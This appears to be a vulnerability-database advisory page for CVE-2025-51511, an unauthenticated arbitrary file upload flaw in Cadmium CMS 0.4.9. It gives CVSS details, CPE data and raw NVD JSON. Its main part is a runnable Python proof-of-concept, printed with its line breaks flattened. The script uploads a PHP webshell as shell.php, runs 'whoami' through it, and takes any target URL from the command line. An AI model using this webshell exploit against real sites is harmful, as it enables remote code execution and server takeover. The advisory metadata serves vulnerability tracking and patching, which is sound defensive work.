Security Vulnerability Report
中文
CVE-2025-51511 CVSS 9.8 CRITICAL

CVE-2025-51511

Published: 2025-12-23 18:15:44
Last Modified: 2026-01-06 17:26:03

Description

Cadmium CMS v.0.4.9 has a background arbitrary file upload vulnerability in /admin/content/filemanager/uploads.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:cadmium-cms:cadmium_cms:0.4.9:*:*:*:*:*:*:* - VULNERABLE
Cadmium CMS 0.4.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-51511 PoC - Cadmium CMS 0.4.9 Arbitrary File Upload # Target: Cadmium CMS v0.4.9 # Endpoint: /admin/content/filemanager/uploads def exploit_cve_2025_51511(target_url, file_content='<?php system($_GET["cmd"]); ?>'): """ Exploit for CVE-2025-51511: Cadmium CMS Arbitrary File Upload Args: target_url: Base URL of the target Cadmium CMS instance file_content: Malicious file content to upload (default: PHP webshell) Returns: dict: Exploitation result including status and uploaded file path """ upload_url = f"{target_url.rstrip('/')}/admin/content/filemanager/uploads" # Prepare malicious file files = { 'file': ('shell.php', file_content, 'application/x-php') } try: # Send malicious file upload request response = requests.post(upload_url, files=files, timeout=10) # Check if upload was successful if response.status_code == 200: # Try to access the uploaded shell shell_path = f"{target_url.rstrip('/')}/media/shell.php" test_response = requests.get(f"{shell_path}?cmd=whoami", timeout=10) if test_response.status_code == 200: return { 'status': 'VULNERABLE', 'shell_path': shell_path, 'message': 'File upload successful, webshell accessible' } return { 'status': 'UNKNOWN', 'message': 'Could not confirm vulnerability' } except requests.exceptions.RequestException as e: return { 'status': 'ERROR', 'message': str(e) } if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve_2025_51511.py <target_url>') print('Example: python cve_2025_51511.py http://target.com') sys.exit(1) target = sys.argv[1] result = exploit_cve_2025_51511(target) print(f"Result: {result}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-51511", "sourceIdentifier": "[email protected]", "published": "2025-12-23T18:15:43.500", "lastModified": "2026-01-06T17:26:02.890", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cadmium CMS v.0.4.9 has a background arbitrary file upload vulnerability in /admin/content/filemanager/uploads."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cadmium-cms:cadmium_cms:0.4.9:*:*:*:*:*:*:*", "matchCriteriaId": "B18E8305-399E-4886-B2FE-78A608DD06B1"}]}]}], "references": [{"url": "https://github.com/cadmium-org/cadmium-cms/issues/23", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}]}}